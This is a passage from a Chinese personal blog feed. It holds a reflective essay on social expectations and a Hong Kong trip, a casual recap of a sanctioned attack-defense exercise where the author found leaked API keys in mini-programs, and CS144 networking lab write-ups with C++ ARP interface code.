仔细想了想之后，我认为它在一定程度上被社会期许吃掉了。社会希望我们在特定时间段做特定的事，如果没有在对应时间段做对应的事，那这个“状态”就是不对的，于是我的状态转换的输入，基于社会期许的驱动，从而引起了状态的固化，而不是自发地选择。&lt;/p&gt;
&lt;p&gt;记不清楚谁说的了，毕竟，人是社会的总和。&lt;/p&gt;
&lt;p&gt;我们都只是在被社会规训。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;在香港：&lt;/h2&gt;
&lt;p&gt;在五一假期去了香港。&lt;/p&gt;
&lt;p&gt;对于香港的印象大多来源于小时候看的港片，来之前心里面还抱着一些期待。&lt;/p&gt;
&lt;p&gt;但实际来了之后才发现，香港是一个很赛博朋克的城市。它就像夜之城（赛博朋克 2077 里的城市），尖沙咀与旺角那边的大楼高耸如云，各种奢侈品店散落在其中，而几站公交车的不远处可能就是破旧的矮小平房，旁边破破烂烂的小摊上卖着 52 港元一碗的“茄皇 plus”方便面。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/05/hongkong.JPG&quot; alt=&quot;维港的夜景，原谅我只能拍出光污染的感觉&quot;&gt;&lt;/p&gt;
&lt;p&gt;与此同时，街道十分狭窄，让人感到压抑。“五步珠宝店，十步一银行”，头顶 LED 屏幕不断滚动着恒生指数的涨跌，像是这个城市的心跳。&lt;/p&gt;
&lt;p&gt;金融、资本、流通、焦虑——它们是这个城市的主语。我只是路过的游客而已。&lt;/p&gt;
&lt;p&gt;我在走、在看、在拍照、在和人说话，但有一部分的我却始终站在远处，以第三人称视角看着自己在这里行动，一种抽离感又诞生了。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;割裂与抽离：&lt;/h2&gt;
&lt;p&gt;这种抽离感，来自于香港。越是沉浸其中，越能感觉到自己像是某个被安排好的节点，在某套巨大的结构里按部就班地反应：看到什么、听到什么、就去做什么——行动、回应、沉默、继续。&lt;/p&gt;
&lt;p&gt;有时我能清楚地感受到两个“我”的自我矛盾，这有那么点精神分裂，但我觉得现代人大概都会有这种时刻，生活本身就很矛盾：&lt;/p&gt;
&lt;p&gt;一个我在按要求行进，完成作业、参加会议、维系关系、回应期待——像是在履行某种合同。&lt;/p&gt;
&lt;p&gt;另一个我却站在远处，一言不发地看着前者忙碌，偶尔冷冷地问一句：“你真的想这么做吗？”&lt;/p&gt;
&lt;p&gt;这让我想起《禅与摩托车维修艺术》里的“我”与斐德洛。我似乎也正陷在那样的分裂里，不同的是，我至今还没找到那个让我全身心沉浸、足以消解撕裂的“良质”。&lt;/p&gt;
&lt;p&gt;所以我逃避。&lt;/p&gt;
&lt;p&gt;我在小升初那年删掉了所有小学同学的联系方式，换了一所没人认识我的新学校，给自己一次“从头开始”的机会。初升高那年，我又做了一次。到了大学，我已经没有再清空所有连接的力量了，但我依旧还是跑来 HNU，一个基本没有认识的人来的学校，它给我一种没有人认识的安全感。&lt;/p&gt;
&lt;p&gt;每一次“重启”，就像是“杀死”过去的自己一样。或者说，否认过去的某种状态，不想承认那种状态属于曾经的自己。这很疯狂，肯定不被人所理解，可我确实在删除一些东西的瞬间，心里面会有一种踏实感。&lt;/p&gt;
&lt;p&gt;但每次 “重启” 之后，我感觉我更像是一只鸵鸟，把头埋进了沙子里，其实什么都没有改变。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;活着：&lt;/h2&gt;
&lt;p&gt;也许我终究还是逃不掉那些设定好的路径。&lt;/p&gt;
&lt;p&gt;我一直都是个堪称离经叛道的人，并不只是为了特立独行而特立独行，我只是想做一些我认为对的事情。&lt;/p&gt;
&lt;p&gt;也许只是些小小的选择。但那一刻我真的感觉到：我不是在被某个输入推动，而是在决定。&lt;/p&gt;
&lt;p&gt;我始终认为不确定性也是一种力量。无法预测的事情才是有趣的，按部就班的走下去只是在不断地走向那些预设的状态，向整个社会妥协，然后去考那一眼就能望到头的所谓宇宙尽头。&lt;/p&gt;
&lt;p&gt;我找不到比这更无聊的事情了，如果有的话，可能是听我的高中语文老师每天早上固定不变的语文课。&lt;/p&gt;
&lt;p&gt;我想要保留那一点点偶然，那一点点不合理，那一点点令人不舒服的真实。&lt;/p&gt;
&lt;p&gt;因为只有那时候，我才感觉——我不是在执行某种计划，不是为了结果去达成目标，而是在……活着。&lt;/p&gt;
&lt;p&gt;活着。&lt;/p&gt;
&lt;p&gt;不是作为谁的孩子、谁的学生、谁的朋友，不是作为某种社会角色的延续。
只是单纯地，以我自己的方式，呼吸、走路、坐下、发呆、眨眼。
从小到大的状态转移：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;活着！-&gt; 活着。-&gt; 活着？-&gt; 活着...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我更希望我的下一个状态是 -&gt;
活着！&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;也许是一段思考。给自己点动力。&lt;/p&gt;</content:encoded><category>随想录</category></item><item><title>Memos 10:-大黑客-鼠标猴</title><link>https://cry4o4n0tfound.cn/blog/memos-10-%E5%A4%A7%E9%BB%91%E5%AE%A2-%E9%BC%A0%E6%A0%87%E7%8C%B4/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/memos-10-%E5%A4%A7%E9%BB%91%E5%AE%A2-%E9%BC%A0%E6%A0%87%E7%8C%B4/</guid><pubDate>Mon, 28 Apr 2025 19:55:17 GMT</pubDate><content:encoded>&lt;h2&gt;简介：&lt;/h2&gt;
&lt;p&gt;这周和 &lt;a href=&quot;https://blog.moyuin.top/&quot;&gt;@Moyuin&lt;/a&gt; 学妹一起参加了某攻防演练...忍不住想来吐槽一番。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;🤡大黑客?🐒鼠标猴!&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;wasdwasd baba(敲键盘声) peng peng peng（砸键盘声)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;也许听到攻防演练这种字眼，大多数人的都会觉得：“我靠，这是黑客啊，黑进别人的系统一定很 cool 很 interesting。“&lt;/p&gt;
&lt;p&gt;实则不然——黑进别人的系统，尤其在 2025 的当下，得靠钓鱼等一系列社会工程学，甚至，去线下把蓝队队员打晕然后偷偷放开防火墙权限也许是更好的办法。&lt;/p&gt;
&lt;p&gt;为什么像我这种蹩脚黑客沦落到如此境地呢？因为你要对抗的远远不是服务器本身...&lt;/p&gt;
&lt;p&gt;在谈这些服务器之前，让我们先回到十多年前，那时网络安全还没被重视，互联网的门槛较高，上网的人不多，很多网站都是个人搭建的。由于运营不当，安全问题也比较常见，sql 注入、目录遍历等攻击手段一度能轻松突破防御。这是因为那时的网站大多是“自己搭建、自己运维”，没有统一的安全防护措施，互联网像是野蛮生长一样，大家关心的只是建站，安全问题几乎没人提。&lt;/p&gt;
&lt;p&gt;那个时候，攻击往往只是比网站运营者更懂一点技术，比如知道 php 代码可能有注入漏洞，那就能轻松入侵。但如今，互联网已经不再是那个野蛮生长的时代。现在你面对的对手是：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/04/cloudsevers.png&quot; alt=&quot;由 gpt-4o 友情提供&quot;&gt;&lt;/p&gt;
&lt;p&gt;于是你需要打败这些云服务商旗下网络安全安全团队设计出的 WAF 才能更进一步。这显然需要经验的积累以及大量的实践，显然，我完全跨不出这一步😭。&lt;/p&gt;
&lt;p&gt;这也源于学校所教授的知识内容与 web 渗透脱节。而 web 方面的产出一向是不被科研所待见的。
我承认所有的知识都得从基础开始，sql 注入， csrf ，xss 这些基础的漏洞才构成了互联网的最底层，它们也依旧位居 OWASP 每年的前列，我们需要了解。但如果把这些放在课堂上来大谈特谈，就没有了意义 ，甚至听 &lt;a href=&quot;https://l1uyun.one/&quot;&gt;@l1uyun&lt;/a&gt; 讲，他们的网络安全课上了一学期连 OWASP TOP10 都没讲完。可想而知这课是多么没有意义。&lt;/p&gt;
&lt;p&gt;因此高校来的队伍，比如我们，又例如中南，压根不是来当什么大黑客的🤡，只会拿着鼠标点来点去，一个 SHELL 都拿不到，脚本小子一把梭，活像一只拿着鼠标的猴子🐒。&lt;/p&gt;
&lt;p&gt;得出结论：网安的实践永远大于课堂的教学。&lt;/p&gt;
&lt;p&gt;不然永远是只鼠标猴🤡，一只无能狂怒的鼠标猴。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;💡差异化竞争：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;不要做得比竞争对手更好，要做得不同。&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;但这次演练不能说是毫无作用的，我还是学到了一些东西，比如 burpsuite 的一些高级用法 ，对于微信小程序的抓包分析（顺便还试图查询下微生活的游戏一栏为什么总是原神，可惜服务器端的接口是转发到易千那边，是个黑盒对接的 hnu 信息化办，没有对应的展示，以失败告终😑），以及&lt;s&gt;逆向分析&lt;/s&gt;找 API KEY。&lt;/p&gt;
&lt;p&gt;上述都是次要的收获。最重要的收获我觉得应该是实践了差异化竞争。以前总是嘴里嚷嚷着要走那种“人迹罕至”的路，行动上却是老老实实随大流不敢放手去做——然而这次攻防演练做到了。&lt;/p&gt;
&lt;p&gt;最开始的第一天颗粒无收，因为我们跟着那些企业，对着 web 就是一顿乱扫（连资产收集都没怎么做），收效甚微，并且 ip 还被对应的 waf BAN 掉了好几个。如果继续这样搞下去，估计到最后也是颗粒无收。&lt;/p&gt;
&lt;p&gt;于是第二天就开始转变思路——去试试微信小程序。因为微信小程序本身重构了一些浏览器的功能，并且解包抓包没有 web 浏览器那么的方便——至少有一丢丢门槛，所以很多开发者并没有太过重视前端安全——这是我在拆了好几个小程序包发现前端泄露了一堆 API 密钥情况下得出的结论。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/04/file.png&quot; alt=&quot;这几天拆的包&quot;&gt;&lt;/p&gt;
&lt;p&gt;除此之外，web 浏览器上的前端大多都做了非常严格的混淆和加密，使得阅读起来极为不便。微信小程序虽然也做了加密，但是不需要我再去做一些 ast 的语法解析来分离那些在 web 前端上的一行式代码...所以阅读起来还算方便，并且有着 copilot 的帮助，从代码逻辑上来分析小程序的前端交互，比分析 web 上的简单了许多。&lt;/p&gt;
&lt;p&gt;但方便之外也存在许多弊端。最大的弊端莫过于很难拿到后台的数据。因为微信小程序关于信息的把控很谨慎，并且小程序基本都是使用腾讯提供的那套 sdk 进行云函数的调用来与后端进行交互，所以想拿数据在我看来  = 打败腾讯...&lt;/p&gt;
&lt;p&gt;从而我们拿不了数据分，而这往往是这类攻防演练的拿分大头。所谓三要素：身份证、电话号码、姓名。这些存在腾讯云端的东西是一点也染指不了。&lt;/p&gt;
&lt;p&gt;幸运的是在抓包的时候被我发现了一个越权，喜提 600 分，奠定了 HNU 高校榜第一的基础...（然而总排名第 10，是的，高校就是来为企业当背景板的，甚至有一队直接挂零）。再加上一堆零零散散的 api key 泄露，也算凑够了 800 来分。对于我来说已经是“超额完成任务了😂”。&lt;/p&gt;
&lt;p&gt;也算是第一次将差异化竞争的概念融入到了实战中，也许今后还可以多多实践🤔。&lt;/p&gt;
&lt;p&gt;唯一感到遗憾的是只有前 6 名有奖金，后面的全是来打黑工，一点人情工资都不给，没意思🙄。甚至还要我隔两天再去开总结会...我能总结什么，我总结你 *#@😡&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;👀酒店体验：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;“杳杳寒山道，落落冷涧滨。啾啾常有鸟，寂寂更无人。碛碛风吹面，纷纷雪积身。朝朝不见日，岁岁不知春”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;虽然演练场地本身在长沙，但本着白嫖这种演练资源的目的，我还是毅然决然地提包入住了酒店，并且还是一个人住标间😋。&lt;/p&gt;
&lt;p&gt;由于本身不怎么喜欢旅游的缘故，其实我没怎么住过酒店，至少是没住过特别多种类的大型连锁酒店，就算出门旅游，基本也是和朋友一起特种兵式旅游——这里的特种兵式并不是指走马观花，而是节省旅游中住宿的开支。&lt;/p&gt;
&lt;p&gt;可能正因为见识比较少，这次的酒店入住给了我比较深的感受。&lt;/p&gt;
&lt;p&gt;首先是酒店的设计很有意思，1 L 中有个部分名字叫做竹居，放了一些陈旧的古籍（不过大概率是故意做旧的，真古籍肯定不会放在那里）。每一层的住宿区也取了不同的名字，我的是“风雪夜归人”。除此之外，酒店还为每间房的床头都提供了一本读物：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/04/poem.png&quot; alt=&quot;诗集&quot;&gt;&lt;/p&gt;
&lt;p&gt;也许你不认识寒山（其实我也不认识），但是你肯定看过这个小故事：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;昔日寒山问拾得曰：“世间有人谤我、欺我、辱我、笑我、轻我、贱我、恶我、骗我，如何处置乎？” 　拾得曰：“只是忍他、让他、由他、避他、耐他、敬他、不要理他，再待几年，你且看他。”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;随手翻了一翻，不是我喜欢的类型，但在酒店床头灯的氛围渲染下，还是让我回忆起了中学时每晚躺在床上睡前总要看会儿书的经历，那属于我每天为数不多快乐且完全属于自己的时光。&lt;/p&gt;
&lt;p&gt;非常有意境的酒店，而且早饭也很好吃！下次还住！&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;下周见，这周的经历也算一场有趣的体验，故而久违的想来补上一篇周记（这似乎不是一件值得骄傲的事情🤔）。cry 即将闪现 HK ，遇到有意思的事一定下周来记一记！&lt;/p&gt;
&lt;p&gt;预祝大家五一假期快乐！&lt;/p&gt;</content:encoded><category>week</category></item><item><title>CS144-lab5</title><link>https://cry4o4n0tfound.cn/blog/cs144-lab5/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/cs144-lab5/</guid><pubDate>Sun, 13 Apr 2025 12:45:27 GMT</pubDate><content:encoded>&lt;h2&gt;简介：&lt;/h2&gt;
&lt;p&gt;lab 5 是我们迈向链路层的第一步，如指导书中给出的图所示：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/04/architecture.png&quot; alt=&quot;架构&quot;&gt;&lt;/p&gt;
&lt;h3&gt;tcp 的报文机制：&lt;/h3&gt;
&lt;p&gt;指导书上介绍了三种 tcp 的传输方式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;TCP-in-UDP-in-IP。TCP 段可以承载在用户数据报的负载中。在正常（用户空间）设置中工作，这最容易实现：Linux 提供了一个接口（一个“数据报套接字”，UDPSocket），允许应用程序仅提供用户数据报的负载和目标地址，内核负责构建 UDP 头、IP 头和以太网头，然后将数据包发送到适当的下一跳。内核确保每个套接字都有一个独特的本地和远程地址以及端口号的组合，并且由于内核是写入 UDP 和 IP 头的，它可以保证不同应用程序之间的隔离。quic 协议就利用了类似的概念，但是实现不同 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;TCP-in-IP. 在日常使用中，TCP 段几乎总是直接放置在互联网数据报中，IP 和 TCP 头部之间没有 UDP 头部。这就是人们所说的“TCP/IP”。这实现起来稍微有点困难。Linux 提供了一个名为 TUN 设备的接口，允许应用程序提供整个互联网数据报，内核负责其余部分（写入以太网头部，实际上通过物理以太网卡发送等）。但现在应用程序必须自己构建完整的 IP 头部，而不仅仅是有效载荷。clash 和 v2rayn 等代理软件的实现就是基于此，在应用程序部分实现了一部分操作系统网络协议栈的部分。例如 clash.meta 内核里面的 fake ip 等功能。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;TCP-in-IP-in-Ethernet. 在上述方法中，我们仍然依赖于 Linux 内核的部分网络栈。每次你的代码将 IP 数据报写入 TUN 设备时，Linux 都必须构建一个适当的链路层（以太网）帧，其中 IP 数据报作为有效载荷。这意味着 Linux 必须根据下一跳的 IP 地址确定下一跳的以太网目标地址。如果它不知道这个映射，Linux 会广播一个查询，询问“谁声明了以下 IP 地址？你的以太网地址是什么？”并等待响应。&lt;/p&gt;
&lt;p&gt;而第三个则是 lab5 中要完成的内容，相对来说层之间的隔离很好，有利于封装。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;arp 协议的内容：&lt;/h3&gt;
&lt;p&gt;我们将在 lab 5 中实现网络接口，以及对应有关的 arp 协议相关内容。在此之前可以来回顾一下 arp 的内容：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ARP（Address Resolution Protocol，地址解析协议）是用于将网络层地址（如IP地址）解析为链路层地址（如MAC地址）的协议。它主要用于在局域网（LAN）中，通过已知的IP地址来获取对应的MAC地址，以便设备之间能够进行数据帧的传输。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;arp 本质上只是在进行特殊的链路层封装，在这里我们尤其需要注意的是 arp 请求不能太过频繁,不然发送过多会淹没整个网络。除此之外，arp 中的 opcode 也是我们这次 lab 中需要注意的点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;ARP 请求（opcode = 1） 是最常见的 ARP 操作类型。当一台设备需要知道某个 IP 地址对应的 MAC 地址时，它会广播发送一个 ARP 请求。这个请求会询问：&quot;谁有 IP 地址 X.X.X.X？请告诉你的 MAC 地址。&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ARP 应答（opcode = 2） 当设备收到 ARP 请求，并且发现请求的 IP 地址就是自己时，它会发送 ARP 应答。这个应答包含自己的 MAC 地址，直接回复给请求方。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;上面的两种就是 lab5 中定义的 OPCODE_REQUEST 和 OPCODE_BROADCAST。&lt;/p&gt;
&lt;p&gt;而下面的两种 arp 请求已经基本被 dhcp 所取代了。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;RARP 请求（opcode = 3） RARP 是反向 ARP，现已较少使用。RARP 请求用于设备知道自己的 MAC 地址但不知道 IP 地址时，它会询问：&quot;我的 MAC 地址是 XX:XX:XX:XX:XX:XX，我的 IP 地址是什么？&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;RARP 应答（opcode = 4） 这是对 RARP 请求的响应，服务器会告诉客户端它应该使用的 IP 地址。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对于 arp 的地址解析，我们需要维护两个表，一个表映射对应 mac 和 ip，有点类似于 NAT 的实现，除此之外，还需要维护一个缓存时间的表，以免狂发 arp 请求。实际上，dhcp 中也有类似的缓存时间表，用来分配 ip。&lt;/p&gt;
&lt;p&gt;同时 lab 中用了很多封装程度很高的结构，parser，arp_message，internetdatagram 等结构，读起来很麻烦，如果只是简单的调用封装好的接口的话确实很容易就能写完，但是事后完全不知道发生了什么...&lt;/p&gt;
&lt;p&gt;所以建议边写边去看调用接口的背后到底是怎么写的，然后就又能见识到一些高级&lt;s&gt;可恶&lt;/s&gt;的 c++ 特性。&lt;/p&gt;
&lt;h2&gt;实现：&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;#x3C;iostream&gt;

#include &quot;arp_message.hh&quot;
#include &quot;debug.hh&quot;
#include &quot;ethernet_frame.hh&quot;
#include &quot;exception.hh&quot;
#include &quot;helpers.hh&quot;
#include &quot;network_interface.hh&quot;

using namespace std;

//! \param[in] ethernet_address Ethernet (what ARP calls &quot;hardware&quot;) address of the interface
//! \param[in] ip_address IP (what ARP calls &quot;protocol&quot;) address of the interface
NetworkInterface::NetworkInterface( string_view name,
                                    shared_ptr&amp;#x3C;OutputPort&gt; port,
                                    const EthernetAddress&amp;#x26; ethernet_address,
                                    const Address&amp;#x26; ip_address )
  : name_( name )
  , port_( notnull( &quot;OutputPort&quot;, move( port ) ) )
  , ethernet_address_( ethernet_address )
  , ip_address_( ip_address )
{
  cerr &amp;#x3C;&amp;#x3C; &quot;DEBUG: Network interface has Ethernet address &quot; &amp;#x3C;&amp;#x3C; to_string( ethernet_address_ ) &amp;#x3C;&amp;#x3C; &quot; and IP address &quot;
       &amp;#x3C;&amp;#x3C; ip_address.ip() &amp;#x3C;&amp;#x3C; &quot;\n&quot;;
}

//! \param[in] dgram the IPv4 datagram to be sent
//! \param[in] next_hop the IP address of the interface to send it to (typically a router or default gateway, but
//! may also be another host if directly connected to the same network as the destination) Note: the Address type
//! can be converted to a uint32_t (raw 32-bit IP address) by using the Address::ipv4_numeric() method.
void NetworkInterface::send_datagram( const InternetDatagram&amp;#x26; dgram, const Address&amp;#x26; next_hop )
{
  const uint32_t next_hop_ip = next_hop.ipv4_numeric();
  const auto it = arp_table_.find(next_hop_ip);
  //先在对应的 arp_table 中查找，如果查找到直接发送
  if (it != arp_table_.end() &amp;#x26;&amp;#x26; it-&gt;second.expiry_time &gt; current_time_) {
    EthernetFrame frame;
    frame.header.dst = it-&gt;second.eth_addr;
    frame.header.src = ethernet_address_;
    frame.header.type = EthernetHeader::TYPE_IPv4;
    //这里需要查看 util 中的 parser.hh 中定义的序列，相当于是封装了 ip 层到链路层帧的转换这一过程
    Serializer serializer;
    dgram.serialize(serializer);
    frame.payload = serializer.finish();

    transmit(frame);
  } else {
    if (arp_request_time_.find(next_hop_ip) == arp_request_time_.end() || 
        current_time_ - arp_request_time_[next_hop_ip] &gt;= ARP_REQUEST_TIMEOUT_) {
        
        ARPMessage arp_request;

        //这里对应的是发送出去的 opcode
        arp_request.opcode = ARPMessage::OPCODE_REQUEST;
        arp_request.sender_ethernet_address = ethernet_address_;
        arp_request.sender_ip_address = ip_address_.ipv4_numeric();
        arp_request.target_ethernet_address = {};
        arp_request.target_ip_address = next_hop_ip;
        //根据 ip 中的信息构建链路帧
        EthernetFrame frame;
        frame.header.dst = ETHERNET_BROADCAST;
        frame.header.src = ethernet_address_;
        //确定是 arp 还是 ipv4
        frame.header.type = EthernetHeader::TYPE_ARP;

        Serializer serializer;
        arp_request.serialize(serializer);
        frame.payload = serializer.finish();

        transmit(frame);
        arp_request_time_[next_hop_ip] = current_time_;
    }

    // 存储待发送的数据报及其添加时间
    pending_dgram_info_[next_hop_ip].emplace(current_time_, dgram);
  }
}


void NetworkInterface::recv_frame( EthernetFrame frame )
{
  //如果不是发给本地的包或者不是广播包的话直接丢弃
  if (frame.header.dst != ethernet_address_ &amp;#x26;&amp;#x26; frame.header.dst != ETHERNET_BROADCAST) {
    return;
  }

  //如果是 ipv4 包则直接进行处理
  if (frame.header.type == EthernetHeader::TYPE_IPv4) {
    //这里需要阅读 parser.hh 的逻辑
    Parser parser{std::move(frame.payload)};
    InternetDatagram dgram;
    dgram.parse(parser);

    if (!parser.has_error()) {
      datagrams_received_.push(std::move(dgram));
    }
  } else if (frame.header.type == EthernetHeader::TYPE_ARP) {
    Parser parser{std::move(frame.payload)};
    ARPMessage arp_msg;
    arp_msg.parse(parser);

    if (parser.has_error() || !arp_msg.supported()) {
      return;
    }
    //处理对应是 arp 请求的，需要先解析
    const uint32_t sender_ip = arp_msg.sender_ip_address;
    const EthernetAddress sender_mac = arp_msg.sender_ethernet_address;

    arp_table_[sender_ip] = {sender_mac, current_time_ + ARP_TIMEOUT_};
    arp_request_time_.erase(sender_ip);
    
    if (arp_msg.opcode == ARPMessage::OPCODE_REQUEST &amp;#x26;&amp;#x26;
        arp_msg.target_ip_address == ip_address_.ipv4_numeric()) {
        ARPMessage arp_reply;
        arp_reply.opcode = ARPMessage::OPCODE_REPLY;
        arp_reply.sender_ethernet_address = ethernet_address_;
        arp_reply.sender_ip_address = ip_address_.ipv4_numeric();
        arp_reply.target_ethernet_address = sender_mac;
        arp_reply.target_ip_address = sender_ip;

        EthernetFrame reply_frame;
        reply_frame.header.dst = sender_mac;
        reply_frame.header.src = ethernet_address_;
        reply_frame.header.type = EthernetHeader::TYPE_ARP;

        Serializer serializer;
        arp_reply.serialize(serializer);
        reply_frame.payload = serializer.finish();

        transmit(reply_frame);
    }

    // 检查是否有等待发送到此 IP 的数据报
    auto pending_it = pending_dgram_info_.find(sender_ip);
    if (pending_it != pending_dgram_info_.end() &amp;#x26;&amp;#x26; !pending_it-&gt;second.empty()) {
      auto&amp;#x26; pending_queue = pending_it-&gt;second;
      
      // 只发送未过期的数据报（添加时间 + ARP_REQUEST_TIMEOUT_ &gt; current_time_）
      while (!pending_queue.empty()) {
        auto [timestamp, dgram] = pending_queue.front();
        pending_queue.pop();
        
        // 检查数据报是否过期（超过 ARP_REQUEST_TIMEOUT_ 未收到响应）
        if (current_time_ - timestamp &amp;#x3C; ARP_REQUEST_TIMEOUT_) {
          
          EthernetFrame data_frame;
          data_frame.header.dst = sender_mac;
          data_frame.header.src = ethernet_address_;
          data_frame.header.type = EthernetHeader::TYPE_IPv4;
          
          Serializer serializer;
          dgram.serialize(serializer);
          data_frame.payload = serializer.finish();
          
          transmit(data_frame);
        }
        // 过期的数据报会被丢弃（什么都不做，只从队列中移除）
      }
      
      // 移除空队列
      pending_dgram_info_.erase(sender_ip);
    }
  }
}

//! \param[in] ms_since_last_tick the number of milliseconds since the last call to this method
void NetworkInterface::tick( const size_t ms_since_last_tick )
{
  current_time_ += ms_since_last_tick;

  // 处理 ARP 表项过期
  for (auto it = arp_table_.begin(); it != arp_table_.end(); ) {
    if (current_time_ &gt;= it-&gt;second.expiry_time) {
      it = arp_table_.erase(it);
    } else {
      ++it;
    }
  }

  // 处理 ARP 请求超时和重发
  for (auto it = arp_request_time_.begin(); it != arp_request_time_.end(); ) {
    const uint32_t next_hop_ip = it-&gt;first;
    const uint64_t last_request_time = it-&gt;second;
    
    // 如果自上次请求以来已超过 ARP_REQUEST_TIMEOUT_
    if (current_time_ - last_request_time &gt;= ARP_REQUEST_TIMEOUT_) {
      // 检查是否有尚未过期的待发送数据报
      bool has_valid_pending_datagrams = false;
      auto pending_it = pending_dgram_info_.find(next_hop_ip);
      
      if (pending_it != pending_dgram_info_.end()) {
        // 创建一个临时队列来保存未过期的数据报
        std::queue&amp;#x3C;std::pair&amp;#x3C;uint64_t, InternetDatagram&gt;&gt; valid_datagrams;
        
        // 检查所有待发送的数据报
        while (!pending_it-&gt;second.empty()) {
          auto [timestamp, dgram] = pending_it-&gt;second.front();
          pending_it-&gt;second.pop();
          
          // 如果数据报未过期，保留它
          if (current_time_ - timestamp &amp;#x3C; ARP_REQUEST_TIMEOUT_) {
            valid_datagrams.push({timestamp, std::move(dgram)});
            has_valid_pending_datagrams = true;
          }
          // 过期的数据报会被丢弃
        }
        
        // 用未过期的数据报替换原队列
        pending_it-&gt;second = std::move(valid_datagrams);
        
        // 如果没有有效的数据报，移除整个条目，相当于去掉过期了
        if (pending_it-&gt;second.empty()) {
          pending_dgram_info_.erase(pending_it);
        }
      }
      
      // 如果仍有未过期的数据报，重新发送 ARP 请求
      if (has_valid_pending_datagrams) {
        ARPMessage arp_request;
        arp_request.opcode = ARPMessage::OPCODE_REQUEST;
        arp_request.sender_ethernet_address = ethernet_address_;
        arp_request.sender_ip_address = ip_address_.ipv4_numeric();
        arp_request.target_ethernet_address = {};
        arp_request.target_ip_address = next_hop_ip;
        
        EthernetFrame frame;
        frame.header.dst = ETHERNET_BROADCAST;
        frame.header.src = ethernet_address_;
        frame.header.type = EthernetHeader::TYPE_ARP;
        
        Serializer serializer;
        arp_request.serialize(serializer);
        frame.payload = serializer.finish();
        
        transmit(frame);
        
        // 更新请求时间
        it-&gt;second = current_time_;
        ++it;
      } else {
        // 如果没有未过期的数据报，移除 ARP 请求条目
        it = arp_request_time_.erase(it);
      }
    } else {
      ++it;
    }
  }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;测试结果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/crywebsite/2025/04/test5.png&quot; alt=&quot;测试结果&quot;&gt;&lt;/p&gt;</content:encoded><category>cs144</category></item><item><title>CS144-lab3&amp;&amp;lab4</title><link>https://cry4o4n0tfound.cn/blog/cs144-lab3lab4/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/cs144-lab3lab4/</guid><pubDate>Wed, 09 Apr 2025 12:45:27 GMT</pubDate><content:encoded>&lt;h2&gt;简介：&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;非常建议做之前认真阅读指导书以及回顾之前写过些什么内容！！！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;代码的合并在指导书上说的很详细了，不再赘述。&lt;/p&gt;
&lt;p&gt;lab3 是要让我们实现 TCP 发送的功能 ，而 minnow 版的 lab4 则是在现实世界中用 ping 来测量 RTT，相较于 sponge 版，它其实是将 sponge 的 lab3 和 lab4 做了一定程度的整合，以至于我做起来非常痛苦。&lt;/p&gt;
&lt;p&gt;另外，学网络如果光写代码确实也缺乏了网络学习中的乐趣，没有实际解决网络问题的成就感，而 minnow 版的这个现实世界结合没啥意思，所以我十分推荐将 lab4 替换为以下链接里的抓包实战，做完一定会觉得分析网络是一件很有意思的事情。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.kawabangga.com/posts/6097&quot;&gt;计算机网络实用技术：序章&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;甚至我觉得抓包分析就应该作为计算机网络的期末考试，而不是去默写背诵一堆又臭又长的概念...&lt;/p&gt;
&lt;p&gt;抑或是半期考试考什么书上 Alice 和 Bob 通信时监听中间人的名字是什么...&lt;/p&gt;
&lt;h2&gt;lab-3:&lt;/h2&gt;
&lt;p&gt;做完抓包分析对整个网络有了更深理解后，我们再来看我们需要实现的内容。&lt;/p&gt;
